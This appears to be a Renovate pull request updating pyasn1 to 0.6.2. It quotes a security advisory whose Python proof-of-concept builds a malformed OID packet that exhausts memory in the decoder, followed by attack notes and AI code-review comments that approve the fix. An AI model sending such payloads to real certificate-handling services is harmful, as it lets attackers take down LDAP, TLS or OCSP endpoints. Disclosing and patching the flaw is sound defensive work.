chore(deps): update dependency pyasn1 to v0.6.2 [security]

[renovate-bot]

This PR contains the following updates:

Package	Change	Age	Confidence
pyasn1 (changelog)	==0.6.1 → ==0.6.2

GitHub Vulnerability Alerts

CVE-2026-23490

Summary

After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

Details

The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

PoC

For the DoS:

import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource

# Deliberately set memory limit to display PoC
try:
    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
    print("[*] Memory limit set to 100MB")
except:
    print("[-] Could not set memory limit")

# Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])

print(f"[*] Testing with {payload_size_mb}MB payload...")

payload_size = payload_size_mb * 1024 * 1024

# Create payload with continuation octets
# Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b'\x81' * payload_size + b'\x00'
length = len(payload)

# DER length encoding (supports up to 4GB)
if length < 128:
    length_bytes = bytes([length])
elif length < 256:
    length_bytes = b'\x81' + length.to_bytes(1, 'big')
elif length < 256**2:
    length_bytes = b'\x82' + length.to_bytes(2, 'big')
elif length < 256**3:
    length_bytes = b'\x83' + length.to_bytes(3, 'big')
else:
    # 4 bytes can handle up to 4GB
    length_bytes = b'\x84' + length.to_bytes(4, 'big')

# Use OID (0x06) for more aggressive parsing
malicious_packet = b'\x06' + length_bytes + payload

print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")

try:
    print("[*] Decoding (this may take time or exhaust memory)...")
    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())

    print(f'[+] Decoded successfully')
    print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')

    # Try to convert to string
    print('[*] Converting to string...')
    try:
        str_result = str(result[0])
        print(f'[+] String succeeded: {len(str_result)} chars')
        if len(str_result) > 10000:
            print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
    except MemoryError:
        print(f'[-] MemoryError during string conversion!')
    except Exception as e:
        print(f'[-] {type(e).__name__} during string conversion')

except MemoryError:
    print('[-] MemoryError: Out of memory!')
except Exception as e:
    print(f'[-] Error: {type(e).__name__}: {e}')

print("\n[*] Test completed")

Screenshots with the results:

DoS

Leak analysis

A potential heap leak was investigated but came back clean:

[*] Creating 1000KB payload...
[*] Decoding with pyasn1...
[*] Materializing to string...
[+] Decoded 2157784 characters
[+] Binary representation: 896001 bytes
[+] Dumped to heap_dump.bin

[*] First 64 bytes (hex):
  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081

[*] First 64 bytes (ASCII/hex dump):
  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @​..... @​..
  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @​..... @​....
  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @​..... @​..... 
  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @​..... @​..... @​.

[*] Digit distribution analysis:
  '0':  10.1%
  '1':   9.9%
  '2':  10.0%
  '3':   9.9%
  '4':   9.9%
  '5':  10.0%
  '6':  10.0%
  '7':  10.0%
  '8':   9.9%
  '9':  10.1%

Scenario

1. An attacker creates a malicious X.509 certificate.
2. The application validates certificates.
3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

Impact

This issue can affect resource consumption and hang systems or stop services.
This may affect:

• LDAP servers
• TLS/SSL endpoints
• OCSP responders
• etc.

Recommendation

Add a limit to the allowed bytes in the decoder.

---

Release Notes

pyasn1/pyasn1 (pyasn1)

v0.6.2

Compare Source

• CVE-2026-23490 (GHSA-63vm-454h-vhhq): Fixed continuation octet limits
  in OID/RELATIVE-OID decoder (thanks to tsigouris007)
• Added support for Python 3.14
  pr #​97
• Added SECURITY.md policy
• Fixed unit tests failing due to missing code
  issue #​91
  pr #​92
• Migrated to pyproject.toml packaging
  pr #​90

---

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[gemini-code-assist]

Summary of Changes

Hello @renovate-bot, I'm Gemini Code Assist¹! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed!

This pull request is a crucial dependency update for pyasn1, primarily aimed at patching a significant Denial-of-Service security vulnerability. By upgrading to the latest version, the project enhances its resilience against potential attacks that could exploit malformed ASN.1 data, ensuring greater stability and security for applications relying on this library.

Highlights

• Security Update: This pull request updates the pyasn1 dependency from version 0.6.1 to 0.6.2 to address a critical Denial-of-Service (DoS) vulnerability (CVE-2026-23490). The vulnerability in pyasn1's RELATIVE-OID decoder could lead to memory exhaustion when processing malformed inputs with excessive continuation octets.
• Vulnerability Details: The DoS issue stems from an integer handling problem in the decoder, specifically in the reloid += ((subId << 7) + nextSubId,) line, which can cause an application to consume excessive memory and potentially crash or hang when decoding malicious X.509 certificates or similar ASN.1 structures.
• Additional Improvements: Beyond the security fix, pyasn1 v0.6.2 also introduces support for Python 3.14, adds a SECURITY.md policy, resolves unit test failures, and migrates to pyproject.toml for packaging.

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[gemini-code-assist]

Code Review

This pull request correctly updates the pyasn1 dependency to version 0.6.2 to patch a critical security vulnerability (CVE-2026-23490). This vulnerability could lead to a Denial-of-Service attack through memory exhaustion. The change is confined to updating the version in samples/geography/requirements.txt, which is the correct and necessary action to mitigate the risk. The update is approved.